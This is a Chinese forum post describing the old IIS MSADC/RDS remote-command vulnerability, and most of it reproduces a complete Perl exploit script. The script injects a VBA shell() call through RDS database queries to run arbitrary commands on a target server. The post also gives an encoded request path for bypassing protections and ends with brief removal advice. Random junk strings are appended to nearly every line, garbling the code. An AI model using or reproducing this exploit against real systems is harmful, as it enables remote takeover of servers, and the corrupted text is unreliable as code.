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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) /v)!m&6]>  
G=!bM(]R~  
涉及程序: ;9p5YxD  
Microsoft NT server |ak C  
(l8r>V  
描述: [l%fL9  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /B@% pq  
~wf~b zs  
详细: _@pf1d$  
如果你没有时间读详细内容的话,就删除: kqigFcz!Y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll &@utAuI  
有关的安全问题就没有了。 X,EYa>RSy_  
L +rySP  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 P9i9<pR  
vDeG20.?Z  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 H.8CwsfP  
关于利用ODBC远程漏洞的描述,请参看: 9=~H6(m>  
N"1x]1'   
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm x";.gjI |g  
R^M (fC  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 \1`DaQp7  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp n+\Cw`'<H  
1X"H6j[w  
这里不再论述。 ^ $+f3Z'  
QGv:h[b_  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ~q?"w:@;x  
G'?f!fz;  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 7cmr *y  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 5f&{!N  
, HI%Xn  
VWA-?%r  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 2PP-0 E  
BdB`  
#!perl ooU Sb  
# dbT^9: Q  
# MSADC/RDS 'usage' (aka exploit) script @z$pPo0fW  
# D0y,TF  
# by rain.forest.puppy fo\J \  
# ?Y6la.bc{  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me <x0uO  
# beta test and find errors! @7l=+`.i  
kYA'PW/[ )  
use Socket; use Getopt::Std; 2mG&@E  
getopts("e:vd:h:XR", \%args); hXQg=Sj  
$:u7Dv}\  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 3@TG.)N4  
),p]n  
if (!defined $args{h} && !defined $args{R}) { f-v ND'@  
print qq~ *fvI.cKiGP  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ?9zoQ[  
-h <host> = host you want to scan (ip or domain) ~?`9i>3W~  
-d <seconds> = delay between calls, default 1 second z^!A/a[[!  
-X = dump Index Server path table, if available j&[3Be'pQ  
-v = verbose &pMlt7  
-e = external dictionary file for step 5 ??zABV  
)-9w3W1r  
Or a -R will resume a command session Pvg  
Ro'4/{}+  
~; exit;} OZC/+"\,  
!w#ru?L{  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 1f@U :<:  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} uWR,6\_jY  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} uU[[[LQq  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); bV )PT`-,  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} J!A/r<  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 34m']n  
qSC~^N`  
if (!defined $args{R}){ $ret = &has_msadc; f}lT|.)?VD  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 3h[:0W!C]  
'x45E.wYw  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" X$uz=)  
. "cmd /c "; q]iKz%|Z/  
$in=<STDIN>; chomp $in; r>Qyc  
$command="cmd /c " . $in ; rq'##`H  
3vRL g b  
if (defined $args{R}) {&load; exit;} .sJys SA\  
0.u9f`04  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; TM/|K|_  
&try_btcustmr; B'KXQa-$O  
9o_ g_q  
print "\nStep 2: Trying to make our own DSN..."; qrM{b=  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; QSn;a 4f  
[TbG55  
print "\nStep 3: Trying known DSNs..."; zqvRkMWcM  
&known_dsn; M\y~0uZ  
HoIKx_  
print "\nStep 4: Trying known .mdbs..."; s;-78ejj7  
&known_mdb; p-Rm,xyL%  
-VreBKn  
if (defined $args{e}){ " g0-u(Y  
print "\nStep 5: Trying dictionary of DSN names..."; O{")i;v @  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } y?Hj %,  
EG(`E9DZ  
print "Sorry Charley...maybe next time?\n"; _Qm7x>NT4  
exit; wv7p,9Z[  
OXIu>jF  
############################################################################## yd0=h7s  
_>jrlIfc  
sub sendraw { # ripped and modded from whisker ;9p#xW6  
sleep($delay); # it's a DoS on the server! At least on mine... =q"w2b&  
my ($pstr)=@_; ]uStn   
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || U!a!|s>  
die("Socket problems\n"); [U%ym{be ^  
if(connect(S,pack "SnA4x8",2,80,$target)){ Yhc6P%{Z^  
select(S); $|=1; M!&_qj&N,  
print $pstr; my @in=<S>; HIPcZ!p  
select(STDOUT); close(S); ;"d,~nLn  
return @in; @pqY9_:P1  
} else { die("Can't connect...\n"); }} %?]{U($?  
[Hv*\rb  
############################################################################## nl)_`8=  
"q9~ C  
sub make_header { # make the HTTP request WIEx '{  
my $msadc=<<EOT ,u ?wYW;  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 >}dTO/  
User-Agent: ACTIVEDATA Gs_*/E7,  
Host: $ip Lo|NE[b:G  
Content-Length: $clen hapB! ~M?  
Connection: Keep-Alive TdNuD V  
Xb(CH#*{z  
ADCClientVersion:01.06 5eiZs  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 q9>Ls-k  
HO%E-5b9  
--!ADM!ROX!YOUR!WORLD! 2d5}`>  
Content-Type: application/x-varg 9:9N)cNvfX  
Content-Length: $reqlen ?$30NK3G  
bk\dy7  
EOT 5 4ak<&?  
; $msadc=~s/\n/\r\n/g; r3+<r<gs  
return $msadc;} aW`:)y&f  
*} *!+C3  
############################################################################## QQ^Gd8nQ  
T@K7DkP@  
sub make_req { # make the RDS request w|!YoMk+o  
my ($switch, $p1, $p2)=@_; nV!2Dfd  
my $req=""; my $t1, $t2, $query, $dsn; KAj"p9hq+k  
_Hz~HoNU  
if ($switch==1){ # this is the btcustmr.mdb query iwG>]:K3  
$query="Select * from Customers where City=" . make_shell(); 3iu!6lC  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +Fc ET  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ~ V@xu{  
N `,7FI}  
elsif ($switch==2){ # this is general make table query HZQDe&  
$query="create table AZZ (B int, C varchar(10))"; Hk<X  
$dsn="$p1";} Tm%$J  
fs2m N1  
elsif ($switch==3){ # this is general exploit table query XPHQAo[(s  
$query="select * from AZZ where C=" . make_shell(); itqQ)\W  
$dsn="$p1";} 90  
1KeJd&e  
elsif ($switch==4){ # attempt to hork file info from index server 763E 6,7  
$query="select path from scope()"; NqiB8hZ~  
$dsn="Provider=MSIDXS;";} JwN}Jm  
wb(*7 &eP:  
elsif ($switch==5){ # bad query nuf@}W>y  
$query="select"; ^?$D.^g  
$dsn="$p1";} & cM u/}  
c8^+^.=pX  
$t1= make_unicode($query); :3111}>c  
$t2= make_unicode($dsn); -kG3k> by_  
$req = "\x02\x00\x03\x00"; (w5u*hx  
$req.= "\x08\x00" . pack ("S1", length($t1)); /~H[= Pf  
$req.= "\x00\x00" . $t1 ; r+imn&FK8  
$req.= "\x08\x00" . pack ("S1", length($t2)); g8%MOhg  
$req.= "\x00\x00" . $t2 ; e+NWmu{<_  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; jo 7Hyw!g  
return $req;} aqcFY8b '  
lTa1pp Zw  
############################################################################## u/z,92mmS  
8ku? W  
sub make_shell { # this makes the shell() statement d4jVdOq2  
return "'|shell(\"$command\")|'";} 1U717u  
((Vj]I% ;  
############################################################################## Hfh@<'NL]  
MC4284A5  
sub make_unicode { # quick little function to convert to unicode sx-EA&5-9k  
my ($in)=@_; my $out; l%^h2 o  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } o `b`*Z  
return $out;} 6!4';2Q  
Dl0/-=L  
############################################################################## pBlRd{#fL  
(3e;"'k  
sub rdo_success { # checks for RDO return success (this is kludge) WuBmdjZ  
my (@in) = @_; my $base=content_start(@in); Wr]O  
if($in[$base]=~/multipart\/mixed/){ 4a\n4KO X  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} xCR; K]!  
return 0;} ^36M0h|R  
VYL@RL'  
############################################################################## 6P0y-%[Gk  
Bj;\mUsk  
sub make_dsn { # this makes a DSN for us 2~vo+ng  
my @drives=("c","d","e","f"); <\>+~p,  
print "\nMaking DSN: "; @)9REA(U  
foreach $drive (@drives) { \9046An  
print "$drive: "; Ya~ "R#Uy  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 99J+$A1  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" I)[`ZVAXR  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); IO}+[%ptc*  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Xy:Gj, @  
return 0 if $2 eq "404"; # not found/doesn't exist uK$=3[;U/!  
if($2 eq "200") { BmJkt3j."  
foreach $line (@results) { ZrFr`L5F;  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 4O$mR  
} return 0;}  pgC d  
A ?#]s  
############################################################################## 4BHtR017r  
a`DWpc~  
sub verify_exists { L30>| g  
my ($page)=@_; gdOe)il\  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 0LS -i%0  
return $results[0];} N2ni3M5v  
MKomq  
############################################################################## BqQ] x'AF  
||R0U@F,  
sub try_btcustmr { R78!x*U}  
my @drives=("c","d","e","f"); 3 t/ R2M  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 6hp{,8|D"m  
I|H,)!Z  
foreach $dir (@dirs) { 5i|s>pD4z1  
print "$dir -> "; # fun status so you can see progress ):/,w!1  
foreach $drive (@drives) {  ~q*i;*  
print "$drive: "; # ditto OWqrD@  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; -UJ?L  
$reqlenlen=length( "$reqlen" ); 3voW  
$clen= 206 + $reqlenlen + $reqlen; aD+0\I[x  
z9^c]U U)E  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ~D*b3K 8X  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} <'W=]IAV  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ldK>HxM%Z  
+Dd"41  
############################################################################## v5B" A"N  
R|-6o)$  
sub odbc_error { 6*sw,sU[y  
my (@in)=@_; my $base; q1H~ |1  
my $base = content_start(@in); -RGPt D@  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this FQ U\0<5  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; g`kY]lu  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ZOp^`c9~  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; mU50pM~/i  
return $in[$base+4].$in[$base+5].$in[$base+6];} ]+mjOks~  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 3u*82s\8T  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . WPtMds4  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} J`W-]3S#  
A1Ka(3"  
############################################################################## "t=UX -3  
]\7lbLv  
sub verbose { 9MT? .q  
my ($in)=@_; JfbKf~g  
return if !$verbose; s\_l=v3  
print STDOUT "\n$in\n";} #^Ys{  
c& 3#-DNI  
############################################################################## NaF(\j  
 U7E  
sub save { o_sQQF  
my ($p1, $p2, $p3, $p4)=@_; )AJ=an||5  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; wEE2a56L-  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 6p#g0t  
close OUT;} I'dj.  
cs t&0  
############################################################################## h20Hg|   
^xt9pa$f  
sub load { TMqY4;UeL  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7(NXCAO81  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); A?DB#-z.r  
@p=<IN>; close(IN); xkM] J)C  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); T(JuL<PB  
$target= inet_aton($ip) || die("inet_aton problems"); $6# lTYN~  
print "Resuming to $ip ..."; Rnr#$C%  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; +ZclGchw  
if($p[1]==1) { "?P[9x}  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; L@nebT;\'  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; {M [~E|@D  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ^Z#@3 =  
if (rdo_success(@results)){print "Success!\n";} :&9TW]*g  
else { print "failed\n"; verbose(odbc_error(@results));}} Ge^Qar  
elsif ($p[1]==3){ @ ICb Kg:  
if(run_query("$p[3]")){ 0Qp[\ia  
print "Success!\n";} else { print "failed\n"; }} |0kXCq  
elsif ($p[1]==4){ Y87XLvig}  
if(run_query($drvst . "$p[3]")){ +TF8WZZF.d  
print "Success!\n"; } else { print "failed\n"; }} \"'\MA  
exit;} z{|LQt6q  
>ukQ, CE~  
############################################################################## (')(d HHW  
8aZ$5^z  
sub create_table { Pxqiv9D<R  
my ($in)=@_; =-Nsc1&  
$reqlen=length( make_req(2,$in,"") ) - 28; ;\x~'@  
$reqlenlen=length( "$reqlen" ); wdwp9r  
$clen= 206 + $reqlenlen + $reqlen; L7}i q0  
my @results=sendraw(make_header() . make_req(2,$in,"")); nVXg,Jl  
return 1 if rdo_success(@results); :Jk33 N4y0  
my $temp= odbc_error(@results); verbose($temp); 7TpRCq#  
return 1 if $temp=~/Table 'AZZ' already exists/; (N0sE"_~I5  
return 0;} O:e#!C8^  
[x5mPjgw  
############################################################################## w4,]2Ccn.  
/&(1JqzlB  
sub known_dsn { e #M iaX  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go hg8Be6G <  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", DvYwCgLR  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", %'0&ElQ  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Xu6K%]i^  
O,|\"b1(  
foreach $dSn (@dsns) { 3cixQzb}u  
print "."; ?mU\ N0o  
next if (!is_access("DSN=$dSn")); 3;l"=#5  
if(create_table("DSN=$dSn")){ Yb 6q))Y  
print "$dSn successful\n"; /zT`Y=1  
if(run_query("DSN=$dSn")){ 6G}c1nWU  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { B.*"Xfr8  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 1"YpO"Rh  
JDA]t&D!v  
############################################################################## Y\( ;!o0a  
ezn` _x_?  
sub is_access { $P nLG]X  
my ($in)=@_; 4,~tl~FD  
$reqlen=length( make_req(5,$in,"") ) - 28; }Eh*xOta  
$reqlenlen=length( "$reqlen" ); ne*#+Q{E  
$clen= 206 + $reqlenlen + $reqlen; #wjH4DT  
my @results=sendraw(make_header() . make_req(5,$in,"")); YE\K<T jH  
my $temp= odbc_error(@results); '$[Di'*;  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); `Mk4sKU\a  
return 0;} qfr Ni1\9-  
[!~}S  
############################################################################## :gf;}  
NXI[q 'y  
sub run_query { XYAmJ   
my ($in)=@_; .S7:;%qL6  
$reqlen=length( make_req(3,$in,"") ) - 28; "SR5wr   
$reqlenlen=length( "$reqlen" ); [PWL<t::c  
$clen= 206 + $reqlenlen + $reqlen; 6/1$< !WH  
my @results=sendraw(make_header() . make_req(3,$in,"")); V`bs&5#Sx  
return 1 if rdo_success(@results); si(cOCj/  
my $temp= odbc_error(@results); verbose($temp); ($>XIb9f  
return 0;} [s}/nu~U  
8r^ ~0nm  
############################################################################## h1f8ktF  
]JMl|e  
sub known_mdb { Qn|+eLY  
my @drives=("c","d","e","f","g"); Js{= i>D  
my @dirs=("winnt","winnt35","winnt351","win","windows"); mCdgKr|n  
my $dir, $drive, $mdb; i_ QcC  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; BJ5}GX!  
JJnYOau  
# this is sparse, because I don't know of many jg_n7  
my @sysmdbs=( "\\catroot\\icatalog.mdb", @Y-TOCadT  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", S_\ F  
"\\system32\\certmdb.mdb", Cj^{9'0  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% x8"#!Pw:`"  
>qh?L#Fk  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", F8=nhn  
"\\cfusion\\cfapps\\forums\\forums_.mdb", c!wtf,F  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", cj g.lzY H  
"\\cfusion\\cfapps\\security\\realm_.mdb", Fm3t'^SqF  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", !9 f4R/ ?  
"\\cfusion\\database\\cfexamples.mdb", _~M^ uW^l  
"\\cfusion\\database\\cfsnippets.mdb", +S9PML){h  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 8omC%a}9m  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 2"&)W dm  
"\\cfusion\\brighttiger\\database\\cleam.mdb", CDdkoajBa  
"\\cfusion\\database\\smpolicy.mdb", -^SA8y  
"\\cfusion\\database\cypress.mdb", |/T43ADW  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ?KP}#>Ba@  
"\\website\\cgi-win\\dbsample.mdb", /k6fLn2;  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 6+` tn  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Yc;ec9~  
); #these are just n7l%gA*  
foreach $drive (@drives) { Z cpmquf8L  
foreach $dir (@dirs){ /3B6 Mtb  
foreach $mdb (@sysmdbs) { 1%`7.;!i  
print "."; BX< dSK  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ AGq>=avv  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 9 wh2f7k  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ YRcps0Dx9  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 6rX_-Mm6w  
} else { print "Something's borked. Use verbose next time\n"; }}}}} s>%Pd7:  
T ):SGW  
foreach $drive (@drives) { Uyx&E?SlEq  
foreach $mdb (@mdbs) { zp4W'8  
print "."; '\~^TFi  
if(create_table($drv . $drive . $dir . $mdb)){ X_ ?97iXjx  
print "\n" . $drive . $dir . $mdb . " successful\n"; c/aup  
if(run_query($drv . $drive . $dir . $mdb)){ '{[),*nCn  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 2Z/K(J"&J  
} else { print "Something's borked. Use verbose next time\n"; }}}} I1"MPx{  
} <Q5Le dN  
=6T 4>rP  
############################################################################## Cifd21v4  
I%lE;'x  
sub hork_idx { W?XizTW  
print "\nAttempting to dump Index Server tables...\n"; 1*Ar{:+ua  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; `G$1n#&  
$reqlen=length( make_req(4,"","") ) - 28; BfmsMW  
$reqlenlen=length( "$reqlen" ); s;1h-Oq (  
$clen= 206 + $reqlenlen + $reqlen; :&w{\-0{  
my @results=sendraw2(make_header() . make_req(4,"","")); jbte *Ae  
if (rdo_success(@results)){ nII^mg~  
my $max=@results; my $c; my %d; sl|_=oXT  
for($c=19; $c<$max; $c++){ B0Xl+JIR#  
$results[$c]=~s/\x00//g; vkcRm`.  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ]}PV"|#K{c  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; %2l7Hmp4H  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; uT_!'l$fr  
$d{"$1$2"}="";} !#x=JX  
foreach $c (keys %d){ print "$c\n"; } HY}j!X  
} else {print "Index server doesn't seem to be installed.\n"; }} +R.N%_  
MI#mAg<  
############################################################################## Lm%GR[tyQ  
w4:\N U  
sub dsn_dict { =f7r69I"  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); {nMAm/kyj  
while(<IN>){ R;}22s  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; yR71%]*.  
next if (!is_access("DSN=$dSn")); y,Q5; $w8  
if(create_table("DSN=$dSn")){ AuiFbRFi  
print "$dSn successful\n"; ;<wS+4,  
if(run_query("DSN=$dSn")){ mpay^.(%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Q^_/By@  
print "Something's borked. Use verbose next time\n";}}} C"w {\ &R  
print "\n"; close(IN);} Ru\_dr2yI}  
kQv*eZ~  
############################################################################## !Pj/7JC0  
}1H=wg>\  
sub sendraw2 { # ripped and modded from whisker yL1bS|@  
sleep($delay); # it's a DoS on the server! At least on mine... Ufid%T'  
my ($pstr)=@_; z2yJ#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || M>H=z#C>/A  
die("Socket problems\n"); v"Jgw;3  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5OP`c<  
print "Connected. Getting data"; lWZuXb,G  
open(OUT,">raw.out"); my @in; #D%ygh=  
select(S); $|=1; print $pstr; #-# NqX:  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Qx`~g,wk8  
close(OUT); select(STDOUT); close(S); return @in; \f Lvw  
} else { die("Can't connect...\n"); }} +cB&Mi5  
k#JQxLy#  
############################################################################## !?FK We  
2#5,MP~r  
sub content_start { # this will take in the server headers nCxAQ|P?  
my (@in)=@_; my $c; C!x/ ^gw  
for ($c=1;$c<500;$c++) { E^Gg '1  
if($in[$c] =~/^\x0d\x0a/){ ?.bnIwQe  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } <,1 fkq>,  
else { return $c+1; }}} C;rG]t^%  
return -1;} # it should never get here actually KFWJ}pNq  
+a+`Z>  
############################################################################## Ob<W/-%5tH  
"^CXY3v  
sub funky { %i0\1hhV<  
my (@in)=@_; my $error=odbc_error(@in); T1Ta?b  
if($error=~/ADO could not find the specified provider/){ o'V%EQ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; WE!vSZ3R  
exit;} ^4$ 'KIq  
if($error=~/A Handler is required/){ 1yqoA *  
print "\nServer has custom handler filters (they most likely are patched)\n"; -8Ti*:  
exit;} ~6[*q~B  
if($error=~/specified Handler has denied Access/){ /!&R9!6 :  
print "\nServer has custom handler filters (they most likely are patched)\n"; b=PVIZ  
exit;}} i u]&;  
V64L,u#`l  
############################################################################## gUax'^w;V;  
tbDoP Y  
sub has_msadc { JhK/']R  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); X]*QUV]i  
my $base=content_start(@results); oR#:Nt X@  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); l}g;'9ZB  
return 0;} OEgI_= B  
h 8 @  
######################## U]4pA#*{|  
MBr:?PE7  
/X8 <C=}  
解决方案: $.mQ7XDA9  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll {U!uVQC'  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 R!x: C!{  
rw%l*xgX  
拿出来充数 哈哈
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